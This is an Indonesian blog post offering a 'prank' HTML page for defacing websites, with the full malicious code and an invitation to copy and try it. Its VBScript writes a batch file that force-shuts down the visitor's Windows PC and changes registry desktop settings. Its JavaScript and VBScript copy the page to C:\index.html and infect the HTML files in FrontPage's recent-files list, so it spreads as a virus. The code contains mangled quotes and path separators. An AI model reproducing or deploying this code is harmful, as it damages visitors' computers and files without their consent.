Script Jahil untuk Deface ( Restart Komputer )

Script dibawah ini adalah Script HTML untuk Deface Web dan ketika Orang yang megakses Web tersebut maka PC si pengakses tersebut akan MATI / RESTART
Hihihihi….Lumayan Jahil
Langsung aja deech ke TKP
Copy/Paste Script dibawah ini ke Notepad dan Rename menjadi *.html atau *htm”


<html><!– SpyShelter –>
<head>
<title> SIM SALABIM MATILAH PC KAMU </title>
</head>
<body>
<script language=”VBScript”>
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject(“Scripting.FileSystemObject”)
Set shell=CreateObject(“Wscript.Shell”)
if err.number=429 Then
shell.Run javascript:location.reload()
End If
Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)
Set wrte=fso.CreateTextFile(windir+”windows.cmd”)
wrte.WriteLine “cls”
wrte.WriteLine “@echo off”
wrte.WriteLine “shutdown -s -f -t 300 -c “+chr(34)+”Sincan2 Akan Shutdown Server mu…”+chr(34)
wrte.Close()
shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1Source”, “C:Sincan2.html”
shell.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerDesktopComponents1SubscribedURL”, “C:Sincan2.html”
Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+”windows.cmd”
End If
</script>
<script language=”JavaScript”>
// JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject(“Scripting.FileSystemObject”)
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile(“C:\index.html”)
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine(“/”+”*”)
file.WriteLine(“*”+”/”)
}
if (check == 3)
{
file.WriteLine(“rem”)
}
}
code=virus.ReadLine()
if (code == “/”+”*”) { checka=666 }
if (code == “*”+”/”) { checka=666 }
if (code == “rem”) { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code==”</”+unescape(“%68″)+”tml>”) { checkb=1 }
if (code==”// JS”) { check=2 }
if (code==”rem VBS”) { check=3 }
if (code==”</”+unescape(“%73″)+”cript>”) { check=0 }
}
}
virus.Close();
file.Close();
</script>
<script language=”VBScript”>
rem VBS
On Error Resume Next
set fso=CreateObject(“Scripting.FileSystemObject”)
set shell=CreateObject(“WScript.Shell”)
set myfile=fso.OpenTextFile(“C:index.html”)
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile1″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile2″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile3″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile4″)
if rr <> “” Then Call Sincan2(rr, mycode)
rr=shell.RegRead(“HKEY_CURRENT_USERSoftwareMicrosoftFrontPageExplorerFrontPage ExplorerRecent Page ListFile5″)
if rr <> “” Then Call Sincan2(rr, mycode)
Sub Sincan2(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>”<html><!–Sincan2–>” Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If
End Sub
</script>
</body>
</html>


SILAHKAN DI COBA

wkwkwkwkwk
Script Jahil untuk Deface ( Restart Komputer ) Script Jahil untuk Deface ( Restart Komputer ) Reviewed by Wahyumiftahulhuda on Oktober 09, 2013 Rating: 5

Tidak ada komentar:

Diberdayakan oleh Blogger.